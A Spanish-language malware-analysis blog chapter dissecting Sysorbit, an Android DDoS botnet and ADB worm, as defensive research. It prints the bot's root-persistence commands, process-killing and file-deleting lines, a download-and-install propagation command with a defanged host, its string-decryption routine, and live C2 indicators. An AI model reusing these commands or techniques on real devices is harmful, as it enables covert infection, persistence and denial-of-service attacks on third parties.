Sysorbit · Capítulo 8
Sysorbit al desnudo: tres capas para esconder una dirección
Abrimos el APK capa a capa: un DEX que solo es un lanzador, una app que se clava en /system si hay root, y un motor de DDoS en código nativo. El C2 me dio con la puerta en las narices — hasta que volví por otro camino y salió entero.
En el Capítulo 7 cacé a Sysorbit entrando por ADB. Ahora toca abrir el APK y encontrar su C2. Lo que se busca es de qué es capaz y a dónde llama, para poder detectarlo y cortarlo.
Un APK es un ZIP con tres capas: recursos, código Java (classes.dex) y librerías nativas (.so). Vamos de fuera adentro.
01Un APK que casi no tiene Java
Primera sorpresa al listar el ZIP: el classes.dex (el código Java) pesa 13 KB — ridículo. Y en cambio hay cuatro librerías nativas libmedia_format.so, una por arquitectura, de unos 150 KB cada una. La lógica de verdad no está en Java: está en el código nativo. El Java es solo un cascarón.
El nombre de la librería ya es una mentira: libmedia_format suena a códec de vídeo. Dentro no hay un solo byte de multimedia.
02El Java: un lanzador con malas ideas
Decompilé el DEX con jadx. La app se disfraza y hace de lanzador y niñera del binario nativo. Cada minuto, un hilo ejecuta esta lógica:
- Comprueba si el bot ya vive: hace PING a un socket local abstracto sysorbit_watchdog y espera PONG.
- Mata instancias viejas o rivales por nombres disfrazados: [system_server], sys_health_check, sys_core, sys_update_helper.
- Comprueba root (su -c id → uid=0).
Y aquí está lo feo: si el teléfono tiene root, se clava en el sistema disfrazado de binario de mantenimiento.
mount -o remount,rw /system
cp libmedia_format.so /system/bin/sys_health_check # se hace pasar por binario del sistema
chmod 755 /system/bin/sys_health_check
chown root:root /system/bin/sys_health_check
cp libmedia_format.so /data/local/tmp/sys_update_helper
/system/bin/sys_health_check & # y lo arrancaSin root, se conforma con ejecutar la .so desde el directorio de la app. Con root, se hace parte del sistema operativo. Y todo mientras la interfaz muestra una notificación falsa de «Google Play Service Updates — Checking for updates…».
03El motor nativo: una cañonera de DDoS
La .so venía empaquetada con UPX (como RedTail). Desempaquetada (155 KB → 515 KB) y abierta con Ghidra, canta lo que hace:
# motor de flood
Flood ID '%d' starting in thread (duration %d seconds)
GET %s HTTP/1.1 PRI * HTTP/2.0 Host: %s
# watchdog + registro
sysorbit_watchdog sysorbit_native_lockEs un bot de denegación de servicio: lanza floods por identificador, en hilos, con duración — incluidos HTTP/1.1 y HTTP/2 (ese PRI * HTTP/2.0) y un flood de conexiones TCP que abre 128 sockets de golpe contra el objetivo.
Aquí encontré también una cadena que me llamó la atención y que interpreté mal — luego vuelvo sobre ella:
token=df96af03-c2fc-4c29-919a-2605aa70b1f8&guid=76561198804806015Ese guid tiene formato de SteamID64, el identificador de una cuenta de Steam. Un rastro rarísimo en un bot de Android.
04A la caza del C2 — y la pared
Con Ghidra seguí el hilo del cliente del C2. Lo que encontré:
- El cliente conecta a una IP y un puerto que saca de una estructura de configuración, y habla por HTTP.
- Tiene un resolutor propio con servidores DNS de reserva embebidos (8.8.8.8, 1.1.1.1) para resolverse aunque el DNS del aparato falle.
- Pero el host del C2 no está en texto claro en ninguna capa — ni en el APK, ni en el DEX, ni en el nativo. Cuando el cliente lo usa, ya es una IP binaria descifrada en memoria.
Ahí cerré el capítulo la primera vez. Escribí que sacar esa dirección exigiría una de dos cosas: revertir su rutina de descifrado, o ejecutar el bicho en un Android aislado y mirar a dónde llama. Lo segundo no lo hago —es un bot vivo y encenderlo es trabajar para el atacante—, así que di el asunto por cerrado y me fui a dormir.
Y lo di por cerrado mal. Porque la primera opción, revertir la rutina, nunca estuvo fuera de mi alcance: yo simplemente no había sabido encontrarla. Una cosa es que una puerta esté cerrada y otra que no tengas la llave. Yo confundí las dos.
Al día siguiente seguía dándole vueltas. Así que volví.
05Volviendo sobre mis pasos
Volví con un cambio de método, y creo que es lo más útil de todo el capítulo: entrar por los datos en vez de por el código.
La primera vez hice lo natural: elegí una función que parecía la del C2 y fui tirando de sus llamadas hacia fuera, a ver qué encontraba. El problema es que esta librería lleva libc++ enlazada estáticamente, así que «hacia fuera» son cientos de funciones de fontanería del lenguaje. Mi volcado acababa siempre en malloc y thread::join. Buscaba una aguja explorando el pajar entero.
Al revés funciona mejor: si el host se descifra en memoria, los bytes cifrados tienen que estar en el fichero, y alguien tiene que leerlos. Así que en vez de preguntar «¿qué llama esta función?», se pregunta «¿quién toca estos bytes?». En vez de explorar, anclas. Es exactamente lo que hice en el Capítulo 2 sin darme cuenta de que era un método: allí la clave apareció porque vi una cadena repetida y pregunté quién la referenciaba.
Primer callejón: persiguiendo fantasmas
Empecé por lo que parecía obvio. Un dato cifrado tiene una firma: sus bytes parecen aleatorios, sin la estructura que tiene el texto normal. Se llama entropía alta, y se puede barrer un fichero entero buscándola. Lo hice, y salieron siete zonas sospechosas. Siete candidatos a esconder la dirección.
Los fui abriendo uno a uno, y uno a uno se fueron cayendo. Los dos más gordos resultaron ser vergonzosamente inocentes: el primero era una lista de números primos —127, 131, 137, 139…— que el propio lenguaje C++ usa por dentro para organizar sus tablas. El segundo eran las constantes de SHA-256, un número mágico que aparece en cualquier programa que haga criptografía.
Ninguno era del malware. Eran los muebles de la casa, no lo que el ladrón había escondido. Media mañana persiguiendo fantasmas.
Segundo callejón: la trampa cómoda
Cambié de táctica. Si el bot llama a su central, en algún sitio tiene que abrir una conexión — así que fui a buscar las funciones que abren conexiones y a caminar hacia atrás desde ahí. Y di con una que resolvía un nombre de dominio y conectaba. Encajaba tan bien que no la cuestioné: «aquí está, este es el cliente del C2».
No lo era. Cuando por fin la leí entera, con calma, resultó ser el motor de ataque: el flood de HTTP. Ese nombre de dominio que resolvía tan diligentemente no era el de su casa. Era el de la víctima a la que iba a atacar.
Me había pasado media jornada estudiando el arma en vez del teléfono.
Y al verlo entero me di cuenta de que en la primera versión de este capítulo había dicho dos cosas mal:
- Señalé una función como lanzadora del hilo del C2. No lo es: es el motor del flood HTTP, con seis User-Agent de Mozilla que va rotando —nueve en total en el binario, repartidos entre tres funciones, y uno de ellos de iPhone—, soporte de Cookie y Referer, y un búfer de 200 KB en pila para machacar peticiones.
- Presenté el token=…&guid=… como el registro del bot contra su C2. Tampoco: es el cuerpo de un POST que usa uno de los métodos de ataque. El SteamID no identifica al bot, viaja dentro de una petición de inundación.
Y si te preguntas qué hace un identificador de Steam dentro de un bot de Android, la respuesta es que el bot está atacando a un servidor de videojuegos, y para que su petición cuele copia el cuerpo de una legítima —SteamID incluido—. Es camuflaje: mil peticiones calcadas a las que haría un jugador de verdad.
Ese número, además, resuelve a una cuenta pública que existe: alias SponneR, comentarios en turco y ruso, un grupo dedicado a las trampas en CS:GO. Y aquí me paro, porque conviene decirlo claro: es una pista, no una acusación. Copiar un SteamID ajeno cuesta cero, y lo más probable es que sea la cuenta de alguien a quien atacaron y cuya petición quedó pegada en la plantilla. Pero encaja con lo otro que ya vimos —el certificado que finge ser una empresa española y escribe «Cataluna» sin eñe—: quien montó esto no habla español.
Empezar por donde empieza todo
Dos caminos, dos fracasos. Cuando te pasa eso, la lección de siempre es que estabas siendo demasiado listo. Así que hice lo más tonto que se puede hacer con un programa: empezar por el principio y leerlo en orden, como si fuera un libro.
Porque esta .so no es solo una librería que otros usan: también arranca sola —el Capítulo 7 la vio instalarse como /system/bin/sys_health_check—, y eso significa que tiene un punto de entrada, un primer renglón. Nunca lo había mirado.
Y las primeras cuatro cosas que hace ya pagan el viaje:
// 1) se cambia el nombre del proceso
prctl(PR_SET_NAME, "[system_server]");
// 2) sobrescribe su propio argv[0] con el mismo nombre falso
memset(argv[0], 0, len); strncpy(argv[0], "[system_server]", ...);
// 3) se blinda contra el asesino por falta de memoria
write(open("/proc/self/oom_score_adj"), "-1000");
// 4) ignora diez señales: SIGTERM, SIGINT, SIGHUP, SIGPIPE, SIGALRM...Lo de [system_server] tiene más malicia de la que parece. En Linux, cuando listas los procesos, los que salen entre corchetes son hilos internos del núcleo del sistema — cosas que no se tocan. El bicho se pone corchetes en el nombre para que quien mire la lista deslice la vista por encima y siga buscando. Es camuflaje tipográfico.
Y el -1000 es todavía más descarado. Android, cuando se queda sin memoria, va matando aplicaciones por orden de prescindibilidad. Ese número es la nota que decide a quién sacrifica primero, y -1000 es el mínimo posible: significa «mata a quien quieras, pero a mí el último». El bot se declara a sí mismo más importante que cualquier cosa que tengas abierta en el teléfono.
Después coge un nombre que va montando letra a letra —sysorbit_native_lock— y lo reserva. Si ya estaba cogido, se va sin decir nada: es su forma de comprobar que no hay otra copia de sí mismo corriendo. Y entonces lanza dos hilos y se queda esperando.
El primero resultó ser el vigilante: se sienta a escuchar, y cuando le llegan cuatro bytes que dicen PING, contesta PONG. Es el que le confirma a la parte Java que sigue vivo. Nada nuevo.
El segundo hilo no me lo esperaba en absoluto.
06Capa 1: cadenas montadas carácter a carácter
El segundo hilo no ataca a nadie. Lo que hace es ejecutar órdenes de shell — órdenes de verdad, del sistema — una detrás de otra, en bucle, para siempre. Pero las órdenes no estaban escritas en ninguna parte que yo pudiera leer. Antes de ejecutar cada una, la fabricaba.
Y ahí, por fin, estaba el hilo del que tirar. Porque si el bicho fabrica sus órdenes en vez de llevarlas escritas, esa fábrica tiene que estar en el binario. Y si tiene una fábrica de cadenas ocultas para esto, es la misma que usará para esconder la dirección de su casa.
La fábrica resultó ser una función corta y fea. No cifra la cadena entera de una vez, como haría cualquiera: la cifra letra por letra, y cada letra con su propia clave y su propia receta.
uint descifra(uint c, uint clave, char variante)
{
// rota el byte 2 bits a la izquierda...
rot = c >> 6 & 3 | c << 2;
r = rot ^ clave ^ 5; // variante 0
if (variante == 1) r = (rot - clave) - 5; // variante 1
// ...o 2 bits a la derecha
r2 = (c >> 2 & 0x3f | c << 6) ^ clave ^ 5; // variante 2
return (variante == 2) ? r2 : r;
}
Tres recetas distintas, y cada carácter usa una. Pero lo bueno es de dónde salen la clave y la receta: de dos generadores de números pseudoaleatorios que corren en paralelo, sembrados con constantes propias de cada cadena.
x = (x * 0x10A860C1) % 0xFFFFFFFB # un generador por cada cosa:
clave = (prng_clave ^ semilla) & 0xFF
variante = (prng_receta) % 3Repliqué el algoritmo en unas pocas líneas y lo apunté contra la primera cadena cifrada que tenía a mano. Cinco bytes, que hasta ese momento eran 4a b3 e0 1a 68 y no significaban nada.
4a b3 e0 1a 68 -> c l o s eclose. Una palabra corriente y moliente, de cinco letras, que no le importa a nadie. Pero era una palabra de verdad, en inglés, con sentido — y eso no sale por casualidad. Con cinco letras correctas ya sabía que tenía el algoritmo entero.
Lo lancé contra todo el binario y cayeron 44 cadenas que llevaban ahí desde el principio, invisibles. Entre ellas, una que me hizo enderezarme en la silla:
# la que importa
ORBIT_BOT_AUTHVXJUACFHAVBA # token de autenticación contra el C2
# nombres de funciones del sistema (ver recuadro)
socket connect send recv bind listen accept select close signal
# la guerra contra la competencia, en bucle
pm uninstall %s >/dev/null 2>&1
com.manji.bot com.iranbot.load com.oreo.mcflurry
com.android.log_handler_v2 com.google.android.pms.update
find /data/local/tmp -name '*.so' -delete
grep -l 'libyahu.so' /proc/*/maps | cut -d'/' -f3 | xargs kill -9
# propagación por ADB, dentro del propio binario
busybox wget hxxp://…/sysorbit.apk -O /data/local/tmp/x.apk
pm install -r -g /data/local/tmp/x.apk
su -c ' adb_v207Capas 2 y 3: una clave que no existe
Con el ORBIT_BOT_AUTH en la mano ya tenía por dónde tirar: busqué quién lo usaba, y esa función sí era el cliente del C2. Dentro estaba el puerto, escondido a plena vista:
DAT_00185350 = 0x35280002;
# en memoria son los bytes: 02 00 28 35
# 02 00 -> AF_INET (es una dirección de red)
# 28 35 -> puerto 0x2835 = 10293Faltaba el destino. Y el destino salía de una lista que alguien construía al arrancar el programa. Fui a ver quién, esperando encontrar por fin los dominios escritos en algún rincón.
No estaban. Lo que había era la última capa, y la mejor de las tres.
Los dominios van cifrados con ChaCha20 — esto ya es criptografía seria, moderna, de la que usa tu navegador; nada que ver con los XOR caseros de XorDDoS o Mirai en capítulos anteriores. Pero lo verdaderamente elegante no es el algoritmo. Es dónde guarda la clave para abrirlo.
No la guarda en ninguna parte.
# dos bloques de bytes que por separado parecen basura
clave[ 0: 8] = datos[0x111c84] XOR datos[0x10e710]
clave[ 8:16] = datos[0x111c8c] XOR datos[0x10e718]
clave[16:24] = datos[0x111c94] XOR datos[0x10e640]
clave[24:32] = datos[0x111c9c] XOR datos[0x10e648]La lección, y me la apunto: «no encuentro nada que parezca cifrado» no es lo mismo que «no hay nada cifrado». Solo quiere decir que estás buscando la forma equivocada.
Y no es lo único que se monta al vuelo. El nonce —el número que ChaCha20 necesita para que la misma clave no produzca dos veces el mismo flujo— tampoco está en el fichero: lo escribe el propio código en memoria al arrancar. Por eso tampoco aparecía buscando. Es el mismo truco de la llave partida, aplicado otra vez.
# el nonce, escrito en memoria al arrancar (12 bytes)
1e 00 4a 00 00 00 00 00 00 00 00 00
contador = 1
# y dónde están los cuatro bloques cifrados
0x10f0fa 28 B
0x10fc6a 28 B
0x10f95d 21 B
0x10eaf7 16 BCon eso y la clave de arriba, cualquiera reproduce el descifrado entero. Lo publico a propósito: sacar los servidores de mando de una muestra es defensa, no le da a nadie una capacidad contra terceros — y en el Capítulo 6 me quejé precisamente de que para RedTail no existiera nada parecido.
Antes de cerrar la sección, una cosa más sobre la pila criptográfica: además de ChaCha20 y SHA-256, el binario implementa HMAC — están las constantes 0x36 y 0x5c y el bloque de 64 bytes, que son de manual. No solo cifra: autentica. Probablemente para validar lo que le llega del C2.
Y ahora la parte divertida, porque con las cuatro direcciones delante se ve algo que no se veía antes.
Las cuatro llamadas usan la misma clave, el mismo nonce y el mismo contador. Un único bloque de flujo cifra los cuatro dominios. Eso tiene nombre desde hace décadas y es de los errores que no se perdonan: reutilizar el flujo de clave.
Lo bonito es que se demuestra sin romper nada. Coges los dos bloques de 28 bytes tal como salen del binario, los haces XOR entre sí, y la clave se cancela sola:
1a 02 06 08 00 06 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
└─ los últimos veinte bytes son idénticosSin conocer la clave, sin descifrar una letra, esa cola de ceros ya te dice que los dos dominios terminan igual en sus últimos veinte caracteres — que es exactamente .twilightparadox.com. (El cero número veintiuno es casualidad: los dos nombres acaban su primera etiqueta en la misma letra.)
08El C2 al desnudo
Junté las dos mitades, monté la clave, y apliqué el descifrado a los cuatro bloques de datos que el programa iba a usar como destinos. Este es el momento en que sabes si has acertado o has perdido el día: si el algoritmo no es exacto, lo que sale es basura ilegible. Si lo es, sale texto.
Salió texto. Los cuatro, limpios, a la primera:
orbitcnc.twilightparadox.com # orbit + cnc (command and control)
updatemc.twilightparadox.com
udpatetbl.duckdns.org # sí, "udpate": una errata del autor
coxm.duckdns.org
puerto 10293/TCPLos cuatro están sobre servicios de DNS dinámico gratuito (FreeDNS y Duck DNS): subdominios que se registran en dos minutos, sin pagar y sin dar datos. Es el alojamiento de usar y tirar del malware de gama media.
Y entonces los resolví — solo consulta de DNS, sin tocar la máquina:
| Dominio | Estado |
|---|---|
| orbitcnc.twilightparadox.com | VIVO → 176.65.139.248 |
| updatemc.twilightparadox.com | VIVO → 176.65.139.248 |
| udpatetbl.duckdns.org | no resuelve (reserva dormida) |
| coxm.duckdns.org | no resuelve (reserva dormida) |
Y al ver esa IP me quedé un rato mirándola, porque me sonaba.
El servidor que reparte el bicho y el centro de mando que le da las órdenes son la misma máquina. Tres capas de cifrado, un algoritmo de grado militar, una clave partida en dos mitades escondidas en rincones distintos del fichero… para esconder una dirección que ya estaba escrita en mis notas.
No sé si el autor no cayó, o si le dio igual. Pero hay algo honesto en descubrir que el gran secreto que te ha costado dos días era un dato que tenías delante y no supiste relacionar.
Los dos dominios dormidos son la reserva. Es el mismo patrón que vimos en el Capítulo 2 con XorDDoS: si a alguien le da por tumbar el que está en uso, se enciende otro y los bots ni se enteran. Cuestan cero euros y se registran en dos minutos, así que no hay razón para no tener repuestos.
09Lo que salió de propina
Al tener las cadenas descifradas, cayeron solas unas cuantas cosas que no buscaba.
No es solo un bot: es un gusano
La orden de infección del Capítulo 7 —la que entra por ADB, desinstala rivales y se instala— va dentro del binario nativo. Es decir: cada teléfono infectado reproduce esa misma orden contra otros, por su cuenta, sin que nadie se lo mande. No hace falta que el C2 lo ordene; el bot se propaga solo. Y el vector se etiqueta adb_v2.
Detalle curioso: la lista de rivales que desinstala el binario no es idéntica a la de la orden que llegó por ADB. La interna incluye dos paquetes que la de entrada no menciona. Alguien la actualizó en un sitio y se olvidó del otro.
El C2 solo puede mandar atacar
Revisé los 35 métodos que el bot registra y que el C2 puede invocar, buscando si alguno hacía algo que no fuera red: ejecutar comandos, escribir en disco, propagarse. Ninguno. Son todos de ataque.
Esto define bien lo que es Sysorbit: no es una puerta trasera. El operador no puede pedirle al teléfono que abra una shell ni que robe datos — solo que ataque a alguien. Pero el aparato seguirá infectando a otros aunque el C2 desaparezca, porque esa parte no depende de él.
Solo cambia el número. Los 35 identificadores se reparten 26 funciones —una sola atiende ocho—, y el 0 comparte función con el 1, que sí entró en el barrido. El conteo se quedó corto; la cobertura no.
Una empresa española que no existe
Todo APK va firmado con un certificado. El de Sysorbit dice esto:
CN = Carlos Mendoza
O = Digitales S.L.
OU = Desarrollo Mobile · L = Barcelona · ST = Cataluna · C = ES
Emitido : 29 de julio de 2026 Válido hasta : 2053
SHA-256 : 01:B9:F7:13:02:D0:B1:39:3B:B3:EC:FA:B8:1E:9B:B9:
6F:C6:58:33:0A:18:15:EE:C9:32:C0:D9:F2:E8:5C:E9Una empresa de desarrollo de Barcelona, con su departamento y todo. Inventada. Y la fachada se le cae en dos detalles pequeños: escribe Cataluna sin la eñe, y llama al departamento «Desarrollo Mobile», mezclando español e inglés. Eso no lo escribe alguien que hable español; lo escribe alguien que copia el aspecto de una empresa española sin serlo. Encaja con el resto de rastros del bicho, que apuntan a otra parte.
La fecha sí es un dato limpio y útil: el certificado se emitió el 29 de julio, y el bicho cayó en el cebo el 23 de agosto. Veinticinco días. Campaña recién horneada.
Una sola cocina
El APK trae cuatro librerías, una por arquitectura. Desempaqueté las cuatro y comparé: los dominios cifrados y el material de la clave son idénticos byte a byte en todas. Salen de una única compilación, como pasaba con los doce binarios de Mirai en el Capítulo 4.
10Indicadores (IOCs)
| Tipo | Valor |
|---|---|
| C2 (activos) | orbitcnc.twilightparadox.com · updatemc.twilightparadox.com → 176.65.139.248 |
| C2 (reserva) | udpatetbl.duckdns.org · coxm.duckdns.org |
| Puerto C2 | 10293/TCP |
| Token de autenticación | ORBIT_BOT_AUTHVXJUACFHAVBA |
| Cifrado de cadenas | por carácter · rot2 + XOR/resta · claves de PRNG Lehmer (0x10A860C1 mod 0xFFFFFFFB) |
| Cifrado del C2 | ChaCha20 · contador 1 · clave = XOR de dos bloques de .rodata · nonce 1e004a00 + ceros (escrito en memoria al arrancar) |
| Bloques cifrados | 0x10f0fa (28 B) · 0x10fc6a (28 B) · 0x10f95d (21 B) · 0x10eaf7 (16 B) — con la clave y el nonce, el descifrado es reproducible |
| Huella del certificado | SHA-256 01:B9:F7:13:02:D0:B1:39:3B:B3:EC:FA:B8:1E:9B:B9:6F:C6:58:33:0A:18:15:EE:C9:32:C0:D9:F2:E8:5C:E9 |
| Etiqueta de logcat | SystemCore — el bot registra ahí su propia actividad |
| Nombre de proceso | [system_server] · oom_score_adj = -1000 |
| Sockets abstractos | sysorbit_watchdog · sysorbit_native_lock |
| Vector de propagación | adb_v2 (ADB/5555, autopropagado) |
| SHA-256 APK | 31de5c5d0a3483e831e4f9348d46b3c5309177a7f9d6da537fc970f57f103901 |
Y un apunte sobre el nombre, que es lo que más cuesta cuando alguien busca información: la industria no da esta familia. VirusTotal la marca 21 de 61, pero con la etiqueta genérica trojan.boogr; ningún motor dice «sysorbit», y MalwareBazaar no lo tiene. El nombre sale del propio binario — sysorbit_watchdog, ORBIT_BOT_AUTH, com.sysorbit.*. Es el caso contrario al del Capítulo 1, donde veintidós motores lo habrían resuelto de entrada: aquí la etiqueta no la pone nadie, la pone el bicho.
Continuará — el cebo sigue encendido, ahora también en el 5555. Cuando caiga algo nuevo, habrá noveno capítulo. 🍯
Comentarios